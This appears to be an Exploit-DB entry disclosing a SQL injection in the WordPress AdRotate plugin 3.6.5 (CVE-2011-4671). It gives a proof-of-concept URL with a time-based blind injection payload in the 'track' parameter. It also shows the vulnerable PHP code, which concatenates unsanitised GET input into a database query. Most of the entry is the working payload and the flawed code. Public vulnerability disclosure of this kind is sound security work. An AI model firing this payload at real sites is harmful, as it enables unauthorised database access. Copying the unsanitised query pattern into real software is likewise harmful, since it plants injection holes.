WordPress Plugin AdRotate 3.6.5 - SQL Injection

Author: Miroslav Stampar
type: webapps
platform: php
port: 
date_added: 2011-09-24 
date_updated: 2011-09-24 
verified: 1 
codes: CVE-2011-4671;OSVDB-77507 
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comadrotate.3.6.5.zip

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

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Vulnerable code
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if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = urldecode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");